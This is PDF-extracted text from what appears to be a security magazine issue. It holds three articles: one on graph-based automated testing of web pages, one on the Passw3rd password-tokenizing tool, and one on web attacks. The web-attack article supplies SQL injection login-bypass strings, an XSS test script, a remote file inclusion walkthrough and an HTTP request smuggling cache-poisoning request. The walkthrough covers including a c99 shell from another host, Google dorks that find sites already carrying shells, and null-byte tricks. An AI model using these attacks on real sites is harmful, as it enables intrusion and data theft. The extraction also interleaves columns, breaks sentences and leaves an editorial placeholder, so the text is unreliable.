Consider the login page of gmail.com mail service, whose screen shot is presented below in Figure 1. It consists of less than two dozens of objects visible to the user (images, links, form fields) plus some textual information. There arent too many people brave enough to call it complicated, or overloaded with content. Now, lets look at the source HTML of the page its approx. 56kB (at the time of writing). Over 50 thousands of characters to define this page if printed in form of a book, such book will need to have around 30-50 pages. And this is just a login page to a mail service. But maybe gmail is somehow special, lets look at the others. News site for starters: bbc.com (100kB), onet.pl (113.kB), cnn.com (87kB) there is much more information in these pages, lots of images, but in HTML the images are not embedded in the code merely referenced. Lets look at just login pages (which should be relatively simple): barclays.com (22kB), facebook.com (7kB), amazon.com (56kB). Facebooks login page is surprisingly small (compared to others), but its safe to assume its size was fine tuned to the last character to limit the bandwidth required by the enormous
Figure 1. Gmail login web page
numbers of users logging every minute into the service. Considering these examples, it seems safe to assume that when commercial web sites are considered, an average size of the HTML describing it will be counted in tens of kilobytes. This is one of the factors that contribute to the difficulty of automated testing, effectively hindering all test methods that are based on analyzing the HTML received from the server. Its importance is not however fully acknowledged until we consider the second difficulty factor, which is the possibility of different HTML code be rendered into identical pages presented to the viewer. HTML provides a number of methods to arrange the layout of the page. Use of tables is currently considered obsolete but is still present in a number of web sites, the primary tool however is the <div> tag and its style attribute. The style properties available for the tag allow to achieve the desired placement of the elements in almost unlimited number of ways. At the same time it gives almost no chance to guess in advance the placement of the elements in the web page. Until of course the page is actually rendered in a browser window. These issues make it extremely difficult to utilize automated scripts for pages processing and navigation. Lets look at an artificial, yet reasonably close to realworld scenario: assume we have a financial website with a page listing available reports. After choosing the report we are allowed to enter additional report parameters (start/end date, additional report criteria). Due to the application design, the user has to go through the first web page (report selection) first, before additional parameters can be changed. If the tester wants to examine a particular report and its additional parameters for vulnerabilities, he/she needs to click through these two pages many times in order to check a range of parameters and cannot just supply a fuzzed set requests as the service will reject them. Although it seems possible at the first glance to write an automated script that will always select the requested report (lets assume its the second form in the pages HTML code), such script will only work for this certain release of the application. With the next changes or upgrades (since the page is most likely automatically generated), the form may be placed somewhere else in the HTML code, or its ID may change, or any other thing may happen to the underlying code. As a result, most of the automatically generated tests will fail, not being able to match the received response against the stored pattern. This also applies to the modern, browser-based tests, like these performed with Selenium. They are also vulnerable to changes in the IDs (or order in absence of the IDs) of the input fields, rendering them unusable after such changes to the web application.
Page 19
At this point, to make the testing script usable, the tester needs to look into the new pages code, and adjust the script so it fits the new page. At the third or fourth change the tester will most likely become irritated, just give up and continue testing the pages manually, crossing out script-based testing from their list of acceptable methods. The most surprising part is, that the web page will often actually look the same, with the report selection in the same place (e.g. top right corner), just the underlying code changes because of some new features, modified advertisement banner, etc. And so we come to the root of the problem of scriptbased testing for web pages. The constant change of the underlying, generated HTML code makes prepared scripts that parse the code obsolete (or at least outdated) rather quickly, making them in turn not worth the effort they require to produce. To change this, we would need more effective methods, allowing us to describe the page and its elements in a more convenient way. In other words, we may need a new language, that will focus more on human perception of the page, different from HTML, which is a technical description needed for a computer to render it. My team has been working on this issue recently, and we have come to the following conclusions: such language should allow for the objects in the page to be described relative (in terms of size, position, etc.) to other objects. This is a direct outcome of experiments we have performed as published in [8] the language must also incorporate various level of objects details and their relations, allowing the user to either specify general relation (e.g. the leftmost input field in the top form) or fine grained details about object properties depending on the specific task such description is used for. the graph nodes and the graph edges representing relation between objects as presented in Figure 2 (only a small set of possible objects is presented). In this figure the two input fields are declared to be inside of the Form box with one input field above the other. Some of the objects also have certain properties declared (e.g. the form box is blue). A graph is a neat form, with a lot of formal tools and methods already developed, but before they can be utilized, we need to transform both the inspected web page and a description in the proposed language into that form. Generating a graph representation of a real web page seem an easy task at the first glance. There is the DOM [5] after all which describes the relation between the elements. It has a form of a tree and trees are just a subset of graphs. Unfortunately, the DOM does not provide us with information about the placement of the objects in the page. There might be some positional data included, in the form of style properties, but for the most part its up to the web renderer to place the objects after interpreting the whole HTML document. Therefore, the best solution we have found so far is to utilize an actual renderer to lay out the page elements and then traverse the DOM and retrieve the objects properties, including their location of each object in the page. We can then generate a graph similar to that presented in Figure 2, except the positional relations are measured in pixels, not generalized terms like above. At the same time, the description of requirements must also be represented as a graph in order to match them against each other and find out the differences. Its actually hard to decide on how to construct the syntax of such description language for it to be both automatically parseable and at the same time usable for largest possible audience. So far we have decided to try utilizing a language that is close to natural, to allow for easy adoption and use, however this choice is still under discussion and is probably a large enough topic for a separate article. For now lets just look at an example description that can be used for the purpose:
Getting A Graph Of A Web Page
Now lets have a look at a web page. It consists of various objects (e.g. text, images, inputs, etc.), each with certain properties (e.g. color, size) and location. Such a web page (or more precisely its objects) can be then presented in a form of graph, with objects being
There is a text Log in to the left of the page. Under the text there is an input field login below the text. There is an input field password below the login input. ...Put john into field login ...
More details on the implementation will follow later, but each statement in the description is eventually parsed into a set of single constrains and properties like these:
Page 20
Figure 2. Sample graph representing objects relation and properties

Object A(text) contains text Log in Object A is above Object B(input field)
Object C(input field) is below Object B Object A is to the left of page
Eventually, these simple constrains can be merged into one graph where nodes represent objects and edges represent the constrains. Finally, we now have two graphs, one representing the reality and one representing the expectations and can match them against each other. This is done in two stages: first, the object/node properties are matched, followed later by constrains resolution. During the first stage, each node of one graph is compared against each node of the other graph, taking into account nodes types (e.g. input, button, etc.) and properties. This allows for creation of one-to-many assignments between the first graphs (graph A) nodes and the objects identified in the page (denoted by graph B nodes). At this stage, having at least one node in graph A that does not match any node in the other graph means that the page does not meet the provided specification. At this point, the verification can be terminated with an appropriate message. During the second stage, the algorithm attempts to achieve a one-to-one relation between the graph A and graph B nodes. In the reference implementation this is done by a brute-force matching of possible combination of nodes. Although this is not a computationally effective solution, it does work reasonably well since the number of nodes in graph A does not exceed a few dozens (in most cases). Besides, comparing two
Object names
graphs is really a graph isomorphism issue, which is of NP class. If the graphs are matched, objects in the real page can be identified against the description, and as a result certain action can be taken (e.g. inputting login details and proceeding to the next page).
Reference Implementation (What have we done so far)
As a proof of concept, we have prepared an initial implementation to test our ideas. Its schematic diagram has been presented in the following Figure 3. In order to parse the supplied description, we utilize ANTLR [7] parser generator. Based on the supplied rule sets two parsers are generated. The first parser processes the description into an Abstract Syntax Tree (AST). This is a commonly used process in text parsing. At this stage, the tree reflects the structure of the textual description and not the actual web page being described. The parser also leaves in the tree nodes additional information related to recognized object properties (e.g. name, type, etc.) which is later used for identifying the nodes/objects. The second parser (tree parser) traverses the AST, retrieving the information from the nodes and builds the final graph. During this process, while executing semantic actions, it uses the tree structure to determine contextual information (e.g. to identify what this or the field refer to). It also uses the information previously stored in the AST nodes to identify the same objects across separate branches.
Object properties
Grammar, etc. ...
Functional Description
AST
Parser
Node matching
Page graph
Objects extraction
Properties matching
Constrains matching
Web Page
Figure 3. Illustrated scenario of comparing a web page against functional description
Page 21
References
http://en.wikipedia.org/wiki/Fuzz_testing [1] http://watir.com/ [2] http://seleniumhq.org/ [3] http://search.cpan.org/dist/WWW-Mechanize/lib/WWW/Mechanize.pm [4] http://www.w3.org/DOM/ [5] http://doc.qt.nokia.com/qtwebkit.html [6] Terence, P.: The Denitive Antlr Reference: Building Domain-Specic Languages Pragmatic Bookshelf, 2007 [7] Dutkiewicz L. [et al.]: Badania nad automatyzacj procesu tworzenia serwisw internetowych, Automatyka : procznik Akademii Grniczo-Hutniczej im. Stanisawa Staszica w Krakowie, vol. 14, s. 841-851, 2010 [8]
This allow for aggregation of properties described in separate phrases that relate to the same object. Finally, the properties that are identified are classified as either attributes(which are the properties that are related to the abject alone) or constrains (that describe relative relationship between two object/nodes). Independently of the specification, the page supplied for testing is analyzed. For this purpose we had chosen an open-source Qt WebKit engine [6]. It allows for loading and rendering of the supplied web page, providing access to the constructed DOM. While traversing the DOM, all the elements of a non-zero physical size are identified. As a result of the web page analysis, a list of objects with their properties (retrieved from the DOM), physical location and size is constructed. The objects constrains and properties from the specification analysis and the list of objects from the web page traversing is then fed into a comparator that utilizes the described above two-stage matching. Practical experiments show that the matching time for the test cases were negligible (most of the time was spent on retrieving and rendering the web pages). The object matcher handles it, the or reuse of object name as reference to previous sentences, the same way humans do in natural language. The parser also allows for multiple properties or relation definitions with the use of and and similar constructs. As a result, we can reliably tell if any web page supplied for testing fulfills all the requirements set out in the supplied description. We can also execute simple actions like filling in form fields or following certain links (e.g. following the link at the bottom right or submitting the login form).
Conclusions
Software in general, and web applications in particular are constantly growing in size and complexity. This of course results in increased difficulty (and cost) of thorough testing, and increased number of buggy applications as the final outcome. Long time ago, when applications were simple, it was possible (and rational) to specify all its functionality before the development process started. Now its mostly not feasible, so software specifications often focus on key functionality, leaving minor items to be ironed out during the development process. There have even emerged specific
methodologies (named agile) that deliberately focus on iterations in development, prototyping etc. and limit formal descriptions. What I propose here is to take somehow similar approach to automated testing. Automated tests are relatively expansive to prepare and (unfortunately) often become obsolete with changes to the software they test. To increase effectiveness we can either lower the cost of preparation, or make sure they remain useful for extended periods of time. The methods proposed here address both of these aspects. By defining just the key elements of the GUI/functionality that need to be tested (and eliminating the need to analyze manually the whole HTML), the cost of preparation is reduced and the test can survive minor changes to the GUI. Major changes on the other hand require much less effort to adjust to than typical HTML parsing methods. Use of a semi-natural language also lowers the cost of tests preparation by not requiring specific programming knowledge from the test maker. On the negative side, it seems we loose a perceived preciseness of the tests (since only a few elements are tested and the test constrains can be loose). This can be counter-measured by more precise description (it can be of any detail level), although my feeling is that describing every single detail of a complicated web page will often require more effort than just preparing e.g. a regular expression match against the pages HTML code. From a more general point of view however, it seems that a general trend in software is to increasingly utilize heuristics, AI, fuzzy logic and similar methods, so a strict control on the software behavior is being sacrificed for the benefit of functionality, easier development and new areas of use. Maybe it also signals the time for automated tests to follow this way.
MAREK ZACHARA
Marek Zachara is an assistant professor at AGH/UST and an independent consultant in the elds of software quality, security and project management. His professional career includes several positions with companies both in Poland (Ericsson and ComArch) and abroad (IMS Group). He has obtained a PhD in computer science in 2008. http://marek.zachara.name email: marek@zachara.name
Page 22
SECURITY PASSWORDS
Passwords
Considered Harmful, Yesterday
Dialogue: Me: Who keeps their passwords out of their source code and configuration files? No one Me: Who rotates their passwords quarterly? 2 people Me: Who rotates passwords when an employee leaves? No one Me: Who rotates their encryption keys quarterly? No one
network, bypassing the security on the systems in a digital domino effect. The article alludes to another problem: poor password maintenance. Why should anyone have lazy access to passwords that are valid for a period of time in which the risk outweighs the benefit? Why were the passwords on the PC in the first place? Why did accessing them lead to a breach? The passwords in theory should be stale by the time of access. If you change passwords quarterly and your system is hacked, the only risk should be cached passwords in applications (i.e. remember me functionality) and only applications and resources that were accessed during that quarter would have the cached passwords. In other words, unless the user is logging in to every single critical resource every quarter and clicking the remember me box, the impact of the password breach should be minimal. An article on SearchSecurity from 2006 illustrates the problem has been around longer but points to a different type: the insider threat. The insider threat has been around since the dawn of time and is still a serious problem especially when it comes to privileged password management. Former or disgruntled staff commit up to 70% of security breaches, according to Washington-based Diligence LLC, a risk-management company. Often these insiders exploit lax password management
ecurity is one of the hottest topics today in both technology and everyday life. In fact, some have declared 2011: The Year of the Breach. With big names such as Sony, RSA, Citigroup, ADP and others suffering from major breaches in a time of great instability around the world, the time to protect yourself is now. Just as you can protect yourself in everyday life by locking your door, walking in well-lit areas, carrying around some kind of protection, asking for someone to protect you in uncertain situations, you can reduce your risk of exposure by taking well-known steps towards a comprehensive security program or methodology. While there are a million products for email security, network security, and application security that are reference in the various compliance standards, there are not too many tools that focus on the simple task of password management within applications. Traditionally, passwords are the weakest link in the security program. In an article from 2009, PC World quoted the security firm Neohapsis who declared that weak passwords are the biggest factors in breaches. The article was focused on the strength of the passwords but it also mentions a crucial factor of common password use: A single server or PC breached by an intruder can yield passwords reused on other systems in the
Page 24
policies that provide systems administrators, computer programmers (often offshore contract workers) and others access to service account and administrative passwords, even long after they leave the company. Not only are these common passwords often shared, but also they are infrequently changed. Seriously. Passwords are a problem. Now fast forward to today where passwords are used in more situations than ever. Take the example of the API key. This is essentially a password (albeit it is a cryptographically securely generated password). While it may be less painful to change an API key as you only have to worry about things on your end while the service takes care of the rest, you still have to manage this password. In my observation, API keys are more poorly managed than system passwords. In my experience, they are never changed.
cryptography to disrupt the other Hollywood buzzword many breaches occur from using a password like abc123 suggest.
matrix using whatever makes sense. In fact, an oversight as simple as the previous studies
< more on the analogy, emphasizing that this should be considered low hanging fruit >
Passw3rd
Security Programs Are Castles
Castles are built with layers of protection: scouts look for moving armies, moats hold forces back, archers defend from a distance, the portcullis protects the final entry point and is generally protected with various techniques such as boiling oil. A typical information security program is built the same way. In a very simplified example, the network firewall protects the network access to the systems. Passwords protect access to the resources that can be reached by the network. Other common techniques are intrusion detection and prevention systems along with audit logging. Now what if the layers break down? What if the firewall is poorly managed? What if there is a backdoor that is exploited? How can you assure nobody has access to your information? You cant. Passwords are one of the most neglected layers of security. They are poorly managed, implemented, and maintained. This is a problem that needs to be solved. Many say passwords are going away. So? When? Who? Why not? Its silly to not implement something that is so trivial with the benefits it provides.
Password management products are nothing new. For example, there are Cyber-arks Enterprise Password Vault, Thycotics SecretServer, and the Symark Power Keeper. The concept is simple: federate, audit, and protect system passwords. But the method in which they do so is different. Some products are very easy to setup, use, and/or configure but, they are also very expensive. If the problem is that nobody is managing passwords because it is too difficult than they are not trying hard enough. Passw3rd is an open source alternative that solves the same problem, but in a greatly simplified manner. It relies on simple OS level access controls and uses NIST certified algorithms with community certified techniques. Passw3rd generates files that contain encrypted strings that are meant to be used as tokens to replace passwords in source code and configuration files. The application reading the passwords knows where to look for passwords and keys based on configuration. In your source code, you call the utility that then returns the plain text version of the password to be used to login to a database, for example.
Installing passw3rd
gem install passw3rd
Passw3rd has been verified to work against Ruby 1.8.7, 1.9.2, and 1.9.3 with various levels of support for other flavors of Ruby.
Security Programs Are Also Like Chains
Security depends on making sure there are no weak points in your perimeter. The smallest crack in defense can lead to catastrophic failure. A classic example is that of the Trojan horse. A large castle with a powerful army is useless if you trust the wrong person to bring a resource into your perimeter. This simple mistake had lead to the destruction of Troy. Often a breach occurs not because the hacker found a way to compromise the firewall and apply quantum
Generate keys
passw3rd -g
This will generate an AES 256 bit key and a corresponding IV file. These two files will be used to encrypt all passwords. As a side benefit, the key and IV can be piped into other commands such as openssl command line utilities.
Page 25
SECURITY PASSWORDS
Generate Password File
passw3rd -e file_name
You will be prompted to enter a password. The password that is entered is encrypted using the keys previously generated with the Cipher Block Chainig (CBC) mode of operation.
Verify The Password File

passw3rd -d file_name
You should see the password you entered in the previous step. What have we accomplished in these 3 steps? We have generated cryptographically secure encryption keys based on current standards. We have tokenized a password and encrypted it with an algorithm that guarantees safety for a reasonable time period based on current standards. We have created a file that can be used by applications, command line tools, and developers to access resources.
The keys and passwords are not meant to be kept together. However, for development and test environments, who cares. For real passwords that are the real risk, keep the keys in a protected area. You can still share the password files and be reasonably assured that they cannot be cracked. Let me repeat that: your production password tokens are safe to store in version control. Some have even shown desire to store password files in the cloud (protected by a client cert). This is made possible by the wonderful world of modern cryptography. How are these password files managed? With simple OS level access controls. The user that your web server runs as is really the only person (ironically this user is generally named nobody) who actually needs access to production passwords from a web server. Obviously the DBA needs the passwords, but do the developers, system administrators, network operations managers, change control officers, etc need access? No.
So how do I use this in my code?
But wait! Isnt that just obfuscation? Arent you just moving the data from one place to another? If developers have access to the password files, how does that protect the password? Yes, this is obfuscation. However, it is also normalization with a reasonable level of protection. By tokenizing the passwords, you have created a single point of access. A single point of access is easily managed. Now if you want to change a password, its done in one place.
Passw3rd is meant to be cross-language and indirectly cross-platform. Currently, there are Java and Ruby clients with many more in various phases of commitment. The clients can share the same password files and can be access in a variety of ways: Direct method calls (get_password) Java properties placeholders Spring configuration file placeholders
While properties file integration is nice, the vast majority happens with direct method calls. For example, this is a database.yml file from a standard Ruby on Rails application:
Figure 1. ECB mistake
Page 26
production:
adapter: mysql
database: rails_development username: app_user password: <%=get_password(app)%>
Using a method call, the passw3rd utility will look for a file named app in a pre-configured location (based on environment variables, class level configuration, or defaults) and will try to decrypt the file based on the pre-configured key location. If the application can read the key and the password file, it then injects the value in the ERB statement, which is then read by the YAML parser and used to connect your Ruby on Rails application to the database in a secure fashion. You can find more examples on the project pages: https://github.com/oreoshake/passw3rd/blob/master/ EXAMPLES.md https://github.com/oreoshake/passw3rd_ java/blob/ master/EXAMPLES
logging statement or a backdoor that sends passwords from the application with access, it will only be caught by tight code review processes. Again, with proper separation of duties it would be very difficult to get away with anything of this sort as it would be recorded in version control.
Any Other Tips?
Change your passwords immediately. What is the point of tokenizing passwords if their values are still easily viewed in version control if you go one revision previous? As youre tokenizing your passwords, make sure you have a separation between test and production passwords. That is to ensure that for every password, you have a different password based on the environment. Theres no point in encrypting the same password with a different key; if you have access to one password you essentially have access to both. Submit bug reports and feature requests: https:// github.com/oreoshake/passw3rd.
Cool, what else can it do?
Remember that pesky key rotation issue? Theres a command for that. Have your auditors ever told you that youre doing things wrong? Need to use another method of encryption with different keys? Theres a command for that.
NEIL MATATALL
Neil is a front and back end developer with a strong background in information security. He graduated from UC Irvine in 2006 with a degree in Information & Computer Science with a specialization in Networks & Distributed Systems. Neil has applied this knowledge directly in his work with AT&T Interactive, FishNet Security, RealPractice, and UC Irvine. Neil is the organizer of OC Rails and has been a chapter leader, conference organizer, and committee member with the Open Web Application Security Project (OWASP). When hes not playing sports, hes probably watching them. When hes not on the slopes, hes probably planning his next trip
What kind of encryption am I getting?

I would like to refer you to a line of code:
APPROVED_CIPHERS = %w{aes-256-cbc aes-256-cfb aes-128cbc aes-128-cfb}
Yes, you can only choose AES 128/256 using CBC or CFB modes of operations. This is not a crypto library and I hope it does not become one. This utility has one purpose: take passwords out of source code in a secure manner. By limiting encryption options, I am preventing you from making the dreaded ECB mistake:
Wow, Thats Cool. This Has To Be Too Good To Be True
It is. This is the 80% solution to a problem that I havent seen anyone solve. It relies on OS level access controls. Therefore, if your application runs as root, it can read any password. If two applications run as the same user, they can read each others passwords. Common knowledge about the principal of least privilege will help mitigate this. Going back to the insider threat, you cannot stop inmemory access to passwords. If someone puts in a
02/2011 (2) December Page 27
SECURITY CYBER WAR
Cyber Security War

Offensive VS Defensive
When we talk about IT industry we can not ignore web threats or other related application and protection of defense technology is also challenging, the number of vulnerabilities being discovered in applications is far greater than the number of vulnerabilities discovered in networks.
s a result, more exploitation attempts are recorded on application programs.these various attacks from the web has become the biggest challenge and problem for the cyber security and its also becoming a worse day by day as new attacks or 0 day comes in the market of hacking. Hackers hack web application for fun, money, fame, revenge etc.
importance of Web security, from the leadership to employees in general more seriously. However, the majority of small and medium enterprises and individual Websites do not realize the importance of web application security.
Defensive VS offensive
Web application services
Web application development is playing important role in cyber security, but more and more sites are in the process to become a security risk because of Web Security-stricken area or lack of security knowledge of web developers. Web services differ company to company to complete their special business needs of online application service. According to survey, 70% of information security attacks are occurring in the Web application layer rather than the network level. At the same time, the data also showed that 2 / 3 of the websites are quite fragile and vulnerable. Most of the enterprises will spend a lot of investment in network and server security, but they always forget about the Web application security which gives opportunity to the hacker. web threat attacks always goes destructive and its relatively strong variety of Trojans, phishing, botnets, spyware etc. At present, large enterprises, government departments have recognized the
When a user visit the site, who planted the Trojan horse malware attack are usually not aware of victim causing steal confidential information. Web site has become a playground for hackers for defacement or trojan spreading etc. Although the site itself to provide
Figure 1. Increasing number of Vulnerabilities
Page 28
normal service, but people have visited the site suffered damage Trojans. Web threat for the current business user increasingly high degree of attention, most enterprises would choose to deploy hardware and software security products to defend against Web threats such as hardware as well as application level firewall and other devices also. Most of the security product gives you a guarantee of the security of the entire network and stable operation but no one can assure without professional penetration testing. Through pen-testing we can add the current threats and also set up the security products into the enterprise network against threats to reduce the loss of the business before it was too late and some one does outside the gate which is more painful.
attacks, Canonicalization attacks, OS commanding SSI includes, Session based attacks, Sniffing, Spoofing, Phishing, Logical attacks
These are only a few examples. Many more exist and the list keeps on getting updated on a regular basis. A simple Google search on Cross site scripting|| or any of these will give you thousands of results, which are enough to explain the vulnerability. There are many security orgnisations like (Owasp, Wasc) and institutes (SANS) working to create freely available articles, methodologies, documentation, tools, and technologies to provide unbiased, practical, costeffective information about application. These communities also release a list of the top vulnerabilities at regular interval of time.
Web Applications Threats
SQL Injection, Cross-site Scripting and PHP File Include attacks continue to be the three most popular techniques used for compromising web sites. Automated tools, designed to target custom web application vulnerabilities, make it easy to discover and infect several thousand web sites The attack techniques have evolved over time, and there are many ways in which the applications can be compromised. The attacks can be following but not limited to:
Manual Testing
SQL injection attacks
SQL Injection is a technique where an attacker creates or alters existing SQL commands (by using some special symbol and SQL statement) to gain access to unintended data or even the ability to execute system level commands in the server. SQL injections are the result of Poor Input Validation and can be blocked by proper input validation. Application that do not correctly validate and/or sanitize the user input, can potentially be exploited in several ways: SQL injection attacks very popular and dangers attacker, resulting in countless variants of attack data which led to the traditional feature matching tests can identify the relatively few attacks.
Cross
site scripting, SQL injection, Heap and buffer overflows, dos, http sumgling, Cross site request forgery. Format string attacks, Redirection attacks, Authentication
How to Find SQL Injection Attack
The first step before SQL Injections is to test whether a site is vulnerable to SQL Injections or not. It can be achieved by giving some arbitrary input. If input results in an error message (other than user generated error message), it means site is vulnerable to SQL Injections. To find whether a site is vulnerable to SQL injections try followings special characters in input:
; % *
Bypassing User Authentication
Figure 2. Pen-test ow
An attacker can easily bypass Login Page without providing a valid user name & password. He just need to give: OR 1=1;-- (In the User Name text Box) On submitting this page SQL query (at the server) becomes: Select * from usertable where username = or 1=1; -- and password = .
Page 29
SECURITY CYBER WAR

Note: MS SQL Server treats anything after; -- as comment so rest of the query will be ignored. What attacker has done here is without specifying a valid username & password he bypasses the Login page.
1. Or 1=1; --
2. Or a=a); -4.
3. any_bad_value 5. or
website. Non-persistent attacks occur when a scripting language that is used for client-side web development or HTML is inserted into a variable which causes the output that the user sees to be changed. Store/persistent Persistent attacks are usually used against web applications like guest books, forums, and shout boxes. Some of the things a hacker can do with a persistent attacks are: Steal website cookies (Cookies are used by web browsers to store your user information so that you can stay logged into a website even after you leave. By stealing your cookie, the attacker can sometimes login without knowing your password which known as a session hijacking or session replay.) Deface the website Spread Worms
6. any_bad_value etc.
Note: This explanation is just for understanding from this test scenario. This varies on your Web Application code.
Cross-Site Scripting (XSS) Attacks
Cross-Site Scripting also known as a XSS. Cross site scripting forces a web site to echo client-supplied data, which execute in a users web browser. When a user is Cross-Site Scripted, the attacker will have access to all web browser content (cookies, history, application version, etc). XSS attacks do not typically directly target the web server or application, but are rather aimed at the client. The web server is merely used as a conduit for the XSS data to be presented to the end client. XSS attacks are very popular and some of the biggest websites have been affected by them including the FBI, CNN, Ebay, Apple, Microsft, SANS and AOL. Most of the website vulnerable to XSS attacks are: Search option Login Forms Comment/Guest book
How to Find Cross Site Script Attack
In the input field, enter a script and if that script is displayed back to you on the page, theres a chance it is vulnerable. Now we will insert some HTML injection. Search for <h1>html</h1>, and if the word html is outputted as a big header, it is vulnerable or attacker also insert some input field injection which ask for username password for proceed with application.
HTML
Now we will insert JavaScript. Search for <script> alert(xss attack);</script>, if the word xss attack pops up in a popup box, then the site is vulnerable to XSS (Figure 3). These examples are reflected. Now if a attacker found a guestbook or something else like it that was vulnerable, he would be able to make it store and everyone that visits the page would get the above alert if that was part of his comment. Attacker in JavaScript will be able to craft advanced XSS attacks to steal your cookies and spread XSS worms, attacker can also use XSS for phishing. Cross-site scripting attacks by malicious code in web pages to add, when the visitor visit the website, the malicious code will be executed or sent to the administrator through the way information is to induce an administrator here, to gain administrator privileges, control over the entire site. Attacker using cross-site request forgery can easily force the users browser sends HTTP requests unintentional, such as fraudulent wire transfer requests,
There are three types of XSS attacks
Local Local XSS attacks are by far the rarest and the hardest to pull off. This attack requires an exploit for a browser vulnerability. With this type of attack, the hacker can install worms, spambots, and backdoors onto your computer. Reflected Non-persistent attacks are the most common types of attack and dont harm the actual
Figure 3. XSS Attack
Page 30
modify passwords and download illegal content and other requests.
Remote File Inclusion
Remote File Inclusion (RFI) occurs when a remote file, usually a shell (a graphical interface for browsing remote files and running your own code on a server), is included into a website which allows the hacker to execute server side commands as the current logged on user, and have access to files on the server. With this power the hacker can continue on to use local exploits to escalate his privileges and take over the whole system. Many servers are vulnerable to this kind of attack because of PHPs default settings of register_globals and allow_url_fopen being enabled. Although as of PHP 6.0, register_globals has been depreciated and removed, many websites still rely on older versions of PHP to run their web applications.
How to Find Remote File Inclusion Attack
Now lets go how an attacker goes through to find RFI on this type of vulnerability in a website. First the attacker would find a website that gets its pages via the PHP include() function and is vulnerable to RFI. Many hackers use Google dorks to locate servers vulnerable to RFI. A Google dork is the act of using Googles provided search tools to help get a specific search result. Then, Website that include pages have a navigation system similar to: http://vulnerable-site.com/index.php? page=PageName. To see if a page is vulnerable, the hacker would try to include a site instead of Page name like the following: http:// vulnerable-site.com/index.php?page=http:// google.com.
If the Google homepage shows up on the website, then the hacker knows the website is vulnerable and would continue to include a shell. Now, most popular shells are c99 and r57 and there are so many shells available and free to download. An attacker can either upload a shell to a remote server or can use a Google dork to locate them already online and insert them. To find the a shell the attacker would search Google for: inurl:c99.txt. This will display many websites with the shell already uploaded and ready to be exploit. At the end of the URL make sure insert ?. so that if anything comes after c99.txt, it will be passed to the shell and not cause any problems. The vulnerable URL with the shell looks like: http://vulnerable-site.com/ index.php?page=http://site.com/c99.txt?. Sometimes the PHP script on the server appends .php to the end of every included file. So if you included the shell, it would end up looking like c99.txt.php and will not work. To get around this, you would add a null byte (%00) to the end of c99.txt%00. This tells the server to ignore everything after c99.txt. And finally in step one, as you know that attacker use Google dorks to look for sites possibly vulnerable to RFIs. An example of a Google dork would be: allinurl: .php?page=. This looks for URLs with .php?page= in them. This is only an example and you most likely wont find any vulnerable sites with that search. If the attacker success in getting the server to parse the shell, its shows with a screen similar to the following: Figure 4. The shell will display information about the remote server and list all the files and directories on it. From here the attacker would find a directory that has read, write and execute privileges and upload the shell but this time as a .php file so that incase the vulnerability is fixed, he will be able to access it later on. Then, attacker would next find a way to gain root privileges on the system. He can do this by uploading and running local exploits against the server. He could also search the victim server for web configuration files. These files may contain username and passwords for the MYSQL databases and soon. Note: To protect your website from RFI attacks, just simply make sure you are using up-to-date scripts, and make sure your server php.ini file has register_globals and allow_url_fopen disabled.
http Request Smuggling
Figure 4. Attacker success
The HTTP Request Smuggling attack explores an incomplete parsing of the submitted data done by an intermediary HTTP system working as a proxy. HTTP Request Smuggling consists of sending a specially
Page 31
SECURITY CYBER WAR

formatted HTTP request that will be parsed in a different way by the proxy system and by the final system, so the attacker could smuggle a request to one system without the other being aware of it. This attack makes it possible to exploit other attacks, like Cache Poisoning, Session Hijacking, Cross-site Scripting (XSS) and most importantly, the ability to bypass web application firewall protection. The attack could be exploited in different ways as reported by HTTP Request Smuggling paper by Watchfire, so its possible to realize these attacks: Web Cache Poisoning Firewall/IPS/IDS evasion Forward vs. backward HRS Request Hijacking Request Credential Hijacking of the two headers is the problematic one? Fortunately for the attacker, different servers choose different answers. For example, SunONE W/S 6.1 (SP1) uses the first Content-Length header, while SunONE Proxy 3.6 (SP4) takes the second header (notice that both applications are from the SunONE family). Let SITE be the DNS name of the SunONE W/S behind the SunONE Proxy. Suppose that /poison.html is a static (cacheable) HTML page on the W/S. Heres the HRS attack that exploits the inconsistency between the two servers: Listing 1. Note that each line terminates with a CRLF (\r\n), except for line 10. Lets examine what happens when this request is sent to the W/S via the proxy server. First, the proxy parses the POST request in lines 1-7 (in blue), and encounters the two Content-Length headers. As we mentioned earlier, it decides to ignore the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in lines 8-10 as the first request body (lines 8-10, in purple, contain exactly 44 bytes). The proxy then parses lines 11-14 (in red), which treats as the clients second request. Now lets see how the W/S interprets the same payload, once it has been forwarded to it by the proxy. Unlike the proxy, the W/S uses the first Content-Length header: as far as its concerned, the first POST request has no body, and the second request is the GET in line 8
Listing 1. HRS attack
1 POST http://SITE/foobar.html HTTP/1.1 2 Host: SITE 3 Connection: Keep-Alive 5 Content-Length: 0 7 [CRLF]
How its Works
When client sends HTTP request, it will go through various applications like Cache, proxy, firewall etc. before reaching to the web server. Attacker will modify the request in these intermediate points. Hence we call it as smuggling of request in-between the source and destination. Attacker sends multiple specially-crafted HTTP requests which cause the two entities to see different sets of requests. This result into smuggle a request to one device without the other device being aware of it. Lets see how a typical web cache poisoning can be carried out using HRS: Figure 5.
Cache Poisoning Exploiting
Suppose a POST request contains two Content-Length headers with conflicting values. Some servers (e.g., IIS and Apache) reject such a request, but it turns out that others choose to ignore the problematic header. Which
4 Content-Type: application/x-www-form-urlencoded 6 Content-Length: 44 8 GET /poison.html HTTP/1.1 9 Host: SITE 10 Bla: [space after the "Bla:", but no CRLF]
11 GET http://SITE/page_to_poison.html HTTP/1.1 12 Host: SITE 13 Connection: Keep-Alive
14 [CRLF]
Listing 2. Two servers data partitione

1st request lines 1-10 lines 1-7 2nd request lines 8-14
SunONE Proxy SunONE W/S
lines 11-14
Figure 5. Tipical web cache poisoning
Page 32
(notice that the GET in line 11 is parsed by the W/S as the value of the Bla header in line 10). To summarize, this is how the data is partitioned by the two servers: Listing 2. Next, lets see which responses are sent back to the client. The requests the W/S sees are POST /foobar.html (from line 1) and GET /poison.html (from line 8), so it sends back two responses with the contents of the foobar.html page and the poison.html page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client POST /foobar.html (line 1) and GET /page_to_poison.html (line 11). Since the response is cacheable (we assumed poison.html is a cacheable page), the proxy caches the contents of poison.html under the URL page_to_poison.html, and voila: the cache is poisoned! Any client requesting page_to_poison.html from the proxy would receive the poison.html page. A technical note: Lines 1-10 and 11-14 have to be sent in two separate packets, since SunONE Proxy doesnt pipeline requests on the same packet.
